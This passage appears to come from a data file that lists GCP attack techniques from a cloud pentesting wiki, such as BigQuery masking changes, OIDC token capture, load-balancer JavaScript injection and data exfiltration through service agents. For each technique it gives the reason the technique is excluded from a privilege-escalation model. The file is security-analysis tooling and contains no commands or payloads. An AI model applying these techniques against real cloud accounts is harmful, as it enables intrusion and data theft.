src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesupdate--weaken-masking-or-add-a-raw-data-grantee + technique: Data policy masking change or raw-data grantee addition + reason: Updating a masking rule changes data visibility without granting an IAM permission. Adding the caller to a RAW_DATA_ACCESS_POLICY can grant bounded raw-column access, but current evidence cannot join that policy to exact table columns and prove prior denial, accepted self-grant, and later allowed read. It must not produce an active path until that typed column-resource evidence exists; the grantee list is not an IAM getRawData binding. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement + technique: Disable column-level enforcement + reason: Data-protection tamper; data access only. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspolicies--widen-or-remove-row-level-security + technique: Delete all row access policies + reason: Deleting policies removes row filters for existing table readers without granting a new permission. Creating a policy that names the caller is modeled separately by gcp-bigquery-row-policy-create-self-grant. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + technique: Widen an authorized view + reason: Data access widening; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#why-other-billing-permissions-are-not-separate-privilege-escalation-techniques + technique: Other billing permissions + reason: Explanatory section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#certificate-authority-service + technique: Service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md#cloud-build + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#iam-principals--org-policies + technique: Page intro pointer + reason: Pointer to the IAM enumeration page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobsrun--force-a-preconfigured-privileged-request + technique: Force-run an existing job + reason: Replays the stored request only; the source cannot choose the request, so it does not obtain the delivery identity's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--actas-free-app-engine-handler-invocation + technique: App Engine target without actAs + reason: 'Invokes same-project App Engine handlers (incl. login: admin); application-logic access, no IAM identity.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloudschedulerjobscreate-or-update--publish-to-a-same-project-pubsub-topic-as-the-scheduler-service-agent + technique: Pub/Sub publish as the Scheduler service agent + reason: Message injection into same-project topics; further impact depends on subscriber logic, no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#agent-identity-auth-manager + technique: Page intro + reason: Service introduction; the two techniques are mapped under their own headings. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#application-integration + technique: Page intro + reason: Service introduction; the techniques are mapped under their own headings. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deployment-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#cloud-deployment-manager-deploymentmanagergoogleapiscom + technique: Service availability intro + reason: Legacy-service availability note (end of support 2026-04-01, V2 API for existing customers until 2027-06-30); no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#rejected-or-reclassified-ideas + technique: Rejected or reclassified ideas + reason: Read-only manifest reads, unproven type-provider SSRF and template expansion in Google's environment; no escalation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-developer-connect-privesc.md#developer-connect + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#vertex-ai-search-discovery-engine + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-discovery-engine-privesc.md#discoveryengineidentitymappingstoresimportidentitymappings--inject-an-identity-mapping-to-bypass-per-document-acls + technique: importIdentityMappings ACL bypass + reason: Mapping the source identity into a group may grant bounded per-document search access. Current evidence cannot bind the exact source user, mapping store, group, protected document, prior denial, accepted mapping and later allowed result; retain as a documented modeling gap. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-eventarc-privesc.md#eventarc + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#firebase-app-hosting + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebaserulesrulesetscreate--firebaserulesreleasesupdate--open-firestore-or-storage-data-through-security-rules + technique: Security Rules allow-all release + reason: Opens Firestore/Storage data to client access; data access, no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-healthcare-privesc.md#cloud-healthcare-api + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iap + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#infra-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#compute + technique: Page intro + reason: Scenario introduction; the sub-sections are already excluded or covered by compute/iam entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#compute + technique: Page intro + reason: Scenario introduction; no cloud IAM technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-looker-privesc.md#looker + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-looker-privesc.md#privilege-escalation-boundaries + technique: Looker privilege-escalation boundaries + reason: States that looker.instances.update is not an escalation; project setIamPolicy is the generic iam entry and the SCIM claim path is on the workload-identity-federation + page. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#managed-lustre + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#managed-lustre-lustregoogleapiscom + technique: Managed Lustre service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#read-a-cloud-storage-bucket-through-the-managed-lustre-transfer-service-agent + technique: Lustre importData/exportData service-agent bucket read + reason: Confused-deputy read of Cloud Storage objects the Lustre service agent can read; data access, no token or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-lustre-privesc.md#reclassified-operations + technique: Reclassified operations + reason: Enumeration, data export/poisoning and deletion; no escalation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-managed-kafka-privesc.md#managed-kafka + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-managed-kafka-privesc.md#no-standalone-managed-kafka-privilege-escalation-primitive-is-retained + technique: No Managed Kafka primitive + reason: The page states no standalone Managed Kafka privilege-escalation primitive is retained (Connect secret mounts are not a read oracle). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#iam-principals--org-policies + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#generic-permission-patterns + technique: Generic permission patterns + reason: Triage guidance; no specific technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#serviceresourcesetiampolicy--self-grant-on-the-governed-resource + technique: Generic ..setIamPolicy + reason: This heading is a generic pattern without one exact resource policy, policy-write action, grantable role, and named newly effective permission. Concrete + per-service self-grants are modeled where typed evidence can bind all of those fields. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#iamserviceaccountsactas--a-code-executing-resource-write--run-as-an-attached-identity + technique: Generic actAs + code-executing resource write + reason: Generic pattern; each concrete service path is modelled by its service entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-connectivity-center-privesc.md#vpc--networking + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#parallelstore + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#read-a-cloud-storage-bucket-through-the-parallelstore-service-agent + technique: Parallelstore service-agent bucket read + reason: Confused-deputy read of Cloud Storage objects the Parallelstore service agent can read; data access, no token or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#reclassified-operations + technique: Reclassified operations + reason: Enumeration, export/import of data and deletion; no escalation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#network-security + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityauthzpoliciescreate--update---grant-access-through-an-application-load-balancer-or-gateway + technique: authzPolicies create/update + reason: Grants HTTP(S) reachability through a load balancer or gateway; network access, no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityauthorizationpoliciesupdate---relax-an-attached-legacy-mesh-authorization-policy + technique: Relax legacy mesh authorization policy + reason: Network/application reachability to mesh services; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityservertlspoliciesupdate---permit-plaintext-alongside-mesh-mtls + technique: serverTlsPolicies permit plaintext + reason: Removes the mTLS client-certificate requirement; network access, no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityaddressgroupsupdate---add-an-attacker-source-to-a-trusted-rule + technique: addressGroups add attacker source + reason: Network allowlist reach; no IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#networksecurityinterceptdeploymentscreate---inject-an-inspection-appliance-into-a-trusted-deployment-group + technique: interceptDeployments inspection appliance + reason: Traffic observation/interception; credentials seen in transit are opportunistic, no cloud identity is obtained by the permission. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#network-services + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkserviceslbtrafficextensions--wasmplugins--service-extensions-data-path-traffic-interception + technique: Service Extensions traffic/WASM interception + reason: Load-balancer data-path interception of application traffic; credentials in transit are opportunistic and no cloud identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesauthzextensions--service-extensions-authorization-callout-hijack-auth-bypass--request-context-exfil + technique: authzExtensions callout hijack + reason: Application auth bypass and request-context exfiltration at the load balancer; no cloud identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesgoogletaggatewaypoliciescreate--update--first-party-javascript-injection-on-site-visitors-client-side-supply-chain + technique: googleTagGatewayPolicies JavaScript injection + reason: Client-side compromise of site visitors; not a cloud identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#privileged-access-manager-pam + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pam-privesc.md#privileged-access-manager + technique: PAM overview + reason: Background; entitlement creation is excluded because it already requires the scope's setIamPolicy. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#private-catalog + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-private-catalog-privesc.md#service-catalog-formerly-private-catalog + technique: Service Catalog intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubsubscriptionscreate--pubsubsubscriptionsupdate--iamserviceaccountsactas--obtain-oidc-tokens-as-a-service-account + technique: Authenticated push subscription OIDC token + reason: Audience-bound OIDC identity token, not an OAuth access token; excluded like iam.serviceAccounts.getOpenIdToken. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsubsubscriptionscreate--pubsubsubscriptionsupdate--write-through-a-more-privileged-export-identity + technique: Export subscription write through a privileged delivery identity + reason: Confused-deputy write of topic messages into a protected bucket/table; data write within a fixed schema, no token or impersonation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#runtime-configurator + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#cloud-runtime-configurator-runtimeconfiggoogleapiscom + technique: Runtime Configurator intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#why-the-other-runtime-config-permissions-are-not-separate-privilege-escalations + technique: Other Runtime Config permissions + reason: The page explains variable reads/writes, waiters and config creation are not escalations. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secret-manager + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#escalation-through-a-recovered-secret + technique: Escalation through a recovered secret + reason: Secret read; any escalation depends on unknown payload content (a stored SA key is a separate credential, not modelled from the permission). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#malicious-webhooks--event-exfiltration--authenticated-calls--persistence + technique: Malicious webhooks / service-account-authenticated delivery + reason: Event exfiltration and an audience-bound OIDC token for the repository SA; excluded like getOpenIdToken. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagersshkeyscreateany--implant-an-ssh-key-on-a-service-accounts-git-identity-pushfetch-as-the-sa + technique: sshkeys.createAny on a service account's git identity + reason: Requires actAs on the SA and yields only its SSM repository roles (git push/fetch); the push-to-pipeline consequence is covered by gcp-securesourcemanager-push-cicd. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-security-command-center-privesc.md#security-command-center + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#service-usage-and-service-management + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicesdelete--full-managed-service-takedown-endpoints--api-gateway-dos + technique: servicemanagement.services.delete + reason: Denial of service. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#service-usage + technique: Page intro (Service Usage) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#service-usage-serviceusagegoogleapiscom + technique: Service Usage overview + reason: Page states no direct Service Usage privilege-escalation primitive is retained; API enablement grants no IAM permission or new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#reclassified-historical-claims + technique: Reclassified historical claims (services.enable/use/disable, quotas, consumerpolicy, MCP policies, API keys) + reason: Prerequisite-only, quota/billing consumption, DoS or deprecated surfaces; API keys do not authenticate an IAM principal. No new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#privilege-escalation-techniques + technique: Privilege Escalation Techniques (section heading) + reason: Container heading; its techniques are mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerbackupscopy--spannerbackupsrestoredatabase--recover-a-database-in-an-attacker-readable-instance + technique: Spanner backup copy/restore into attacker-readable instance + reason: Data exfiltration of database contents; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spannerdatabasesupdateddl--expand-a-fine-grained-database-role + technique: spanner.databases.updateDdl FGAC role expansion + reason: This can grant the caller additional SQL privileges inside one database. It remains inactive because current evidence cannot bind the exact acting principal to a usable FGAC database role, the precise database object and SQL privilege, prior denial, accepted DDL, and a later allowed operation using that role. A generic updateDdl permission alone does not prove the new grant. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#cloud-storage + technique: Page intro (Cloud Storage) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storageobjectscreate--inject-a-cloud-composer-dag + technique: storage.objects.create Composer DAG injection + reason: Covered by catalog entry gcp-composer-bucket-write (composer.yaml), which models the same environment-bucket write to the Composer environment SA. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowsexecutionscreate--invoke-an-existing-privileged-workflow + technique: workflows.executions.create on an existing privileged workflow + reason: Only triggers the fixed steps of an existing workflow (confused deputy bounded by its logic); does not grant arbitrary use of the attached SA. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflowscallbackssend--inject-data-into-a-paused-privileged-execution + technique: workflows.callbacks.send into a paused execution + reason: Steers one paused execution's existing logic with attacker data; no arbitrary use of the attached SA. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#vm-migration + technique: Page intro (VM Migration) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vm-migration-privesc.md#migrate-to-virtual-machines + technique: Migrate to Virtual Machines overview + reason: Background on the host-project service agent; technique mapped separately. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmware-engine-gcve + technique: Page intro (VMware Engine) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vmwareengine-gcve-privesc.md#vmware-engine + technique: VMware Engine authorization planes overview + reason: Background section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workload--workforce-identity-federation + technique: Page intro (Workload & Workforce Identity Federation) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workload-identity-federation + technique: Workload Identity Federation (section heading) + reason: Container heading; techniques mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workforce-identity-federation + technique: Workforce Identity Federation (section heading) + reason: Container heading; technique mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#scim-provisioning-token--inject-a-workforce-identity-into-a-privileged-group + technique: SCIM provisioning token group injection + reason: Requires possession of a SCIM tenant bearer token (not an IAM permission) and only affects Gemini Enterprise / Looker authorization; not modelled as an + IAM edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#managed-workload-identities + technique: Managed workload identities (section heading) + reason: Container heading; technique mapped individually. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#workloadidentitypoolmanagedidentitiessetattestationrules--enroll-a-controlled-workload + technique: workloadIdentityPoolManagedIdentities.setAttestationRules + reason: Yields X.509/SPIFFE workload credentials trusted only by relying workloads; no Google Cloud IAM principal or OAuth access. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iam-principals--org-policies + technique: Page intro (IAM, Principals & Org Policies) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iamserviceaccountsgetopenidtoken--impersonate-a-service-account-to-an-oidc-protected-application + technique: iam.serviceAccounts.getOpenIdToken + reason: Audience-bound OIDC ID token accepted only by applications that trust it; not an OAuth token and grants no Google Cloud API access (consistent with other + OIDC-token exclusions). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#iam-principals--org-policies + technique: Page intro (Resource Manager) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#notebooksinstancessetiampolicy-to-self-grant-updatereset-then-inject-a-startup-script + technique: notebooks.instances.setIamPolicy self-grant then startup script + reason: Covered by the setIamPolicy branch of gcp-vertex-workbench-instance-update-or-setiampolicy (anchored at the update+reset heading). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#excluded-from-this-privilege-escalation-page + technique: Excluded from this page (model/dataset export-import, Feature Store/Vector Search/metadata/RAG, tuningJobs, Deployment Resource Pools, Persistent Resources) + reason: Page states these grant no new identity or caller-controlled execution; data access/poisoning or prerequisites only. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containers--gke + technique: Page intro (Containers & GKE) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#iam-principals--org-policies + technique: Page intro (IAM, Principals & Org Policies) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#google-workspace-add-ons + technique: Page intro (Google Workspace add-ons) + reason: Navigation/intro section; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsupdate--targeted-external-key-route-override-per-version-ekm-interception--dos + technique: cloudkms.cryptoKeyVersions.update external-key route override + reason: Redirects one EXTERNAL/EXTERNAL_VPC key version to another EKM route; interception of cryptographic requests or targeted DoS. The page states it does not + grant Google Cloud IAM by itself; no identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-api-gateway-post-exploitation.md#apigatewayapiconfigscreate--actas--steal-an-sas-oidc-identity-token + technique: API Gateway backend-auth SA OIDC ID token theft + reason: Audience-bound OIDC ID token gated by actAs on the SA; not an OAuth access token (excluded like iam.serviceAccounts.getOpenIdToken and Pub/Sub push OIDC). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-managed-microsoft-ad-post-exploitation.md#managedidentitiesdomainsresetpassword--obtain-the-delegated-administrator-credential + technique: Reset the Managed Microsoft AD delegated administrator password + reason: Yields an Active Directory account in the managed domain, not a GCP/Workspace principal; out of the GCP identity graph. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-tasks-persistence.md#queue-urioverride---passive-capture-of-every-task-the-application-enqueues + technique: Queue uriOverride passive capture of application tasks + reason: Documented as payload/header exfiltration with no token override; capture of per-task OAuth tokens attached by enqueuers is not documented (privesc-page + twin also excluded). +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-persistence.md#iamserviceaccountsundelete---reactivate-a-deleted-privileged-identity + technique: Undelete a deleted privileged service account + reason: Restores residual bindings of a deleted SA but yields no credential; needs a separate existing path to act as the SA, and deleted SAs are not in the collected + inventory. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#service-account-impersonation-and-confused-deputy-privesc + technique: Historical confused-deputy vulnerabilities (ConfusedFunction, Bad.Build, ConfusedComposer, ...) + reason: Patched historical vulnerabilities; the still-valid variants are modelled by gcp-cloudbuild-builds-create-default-identity, gcp-composer-environments-update, + gcp-vertex-customjob-custom-code-agent and gcp-configcontroller-kcc-resource-write. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#interesting-permissions-write--rolesmigrationcenteradmin-basic-editorowner + technique: Migration Center discovery client bound to a service account + reason: Page labels it only a potential actAs-gated angle; the discovery client is an on-premises collector and no credential/code-exec path as the SA is documented. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-api-gateway-enum.md#relevant-permissions + technique: API Gateway backend-auth SA (enumeration page) + reason: OIDC ID token only (see the API Gateway post-exploitation exclusion). +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md#cloudbuildyml + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md#pr-approvals + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md#sa-permissions + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md#pr-approvals + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md#compromise-external-repository + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtasksqueuesupdate---retryrate-tampering-and-stealth-traffic-capture + technique: Queue retry/rate tampering and uriOverride traffic capture + reason: DoS plus payload capture; attaching a token SA at queue level needs actAs (re-enforced at enqueue), OIDC tokens are audience-bound; see the privesc-page + uriOverride exclusion. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#build-time-code-execution-as-the-build-service-account-via---source + technique: Build-time code execution as the build SA via run deploy --source + reason: 'Duplicate of existing edges: the documented minimum (run.services/jobs create or update + actAs on the build SA) equals gcp-run-services-create-actas / + gcp-run-services-update-actas / gcp-run-jobs-create-run-actas / gcp-run-jobs-update-run-actas, which already reach every SA the source can actAs; the Cloud Build + submission and the no-actAs legacy/default builder are modelled by gcp-cloudbuild-builds-create-custom-sa-actas and gcp-cloudbuild-builds-create-default-identity.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#differences-from-dms-and-negative-results + technique: Datastream private connection reachability, profile metadata reads, vestigial resource IAM + reason: privateConnections.create only gives the Datastream service agent network reachability (VPC peering / PSC interface) for data copy-out; GET leaks non-secret + metadata; resource setIamPolicy endpoints return 404. No identity gain (data access / recon). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-support-post-exploitation.md#cloudsupporttechcaseslist--get--mine-support-cases-and-incident-artifacts + technique: cloudsupport.techCases.list / .get — mine support cases and incident artifacts + reason: 'No configuration-derived second identity: support case data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-document-ai-post-exploitation.md#documentaidatasetslistdocuments--documentaidatasetsgetdocuments---extract-stored-dataset-documents + technique: documentai.datasets.listDocuments + documentai.datasets.getDocuments - extract stored dataset documents + reason: 'No configuration-derived second identity: document data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-document-ai-post-exploitation.md#documentaiprocessorversionscreate---copy-a-trusted-source-processor-version-cross-project + technique: documentai.processorVersions.create - copy a trusted source processor version cross-project + reason: 'No configuration-derived second identity: model copy via standing trust.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recommender-post-exploitation.md#recommenderrecommendationsupdate--insightsupdate--suppress-or-freeze-findings + technique: recommender.*Recommendations.update / *Insights.update — suppress or freeze findings + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-transfer-post-exploitation.md#storagetransferjobsupdate--run--repoint-an-authorized-job + technique: storagetransfer.jobs.update + run — repoint an authorized job + reason: data exfil via transfer agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-transfer-post-exploitation.md#storagetransferjobscreate--run--copy-agent-readable-data-to-an-attacker-sink + technique: storagetransfer.jobs.create + run — copy agent-readable data to an 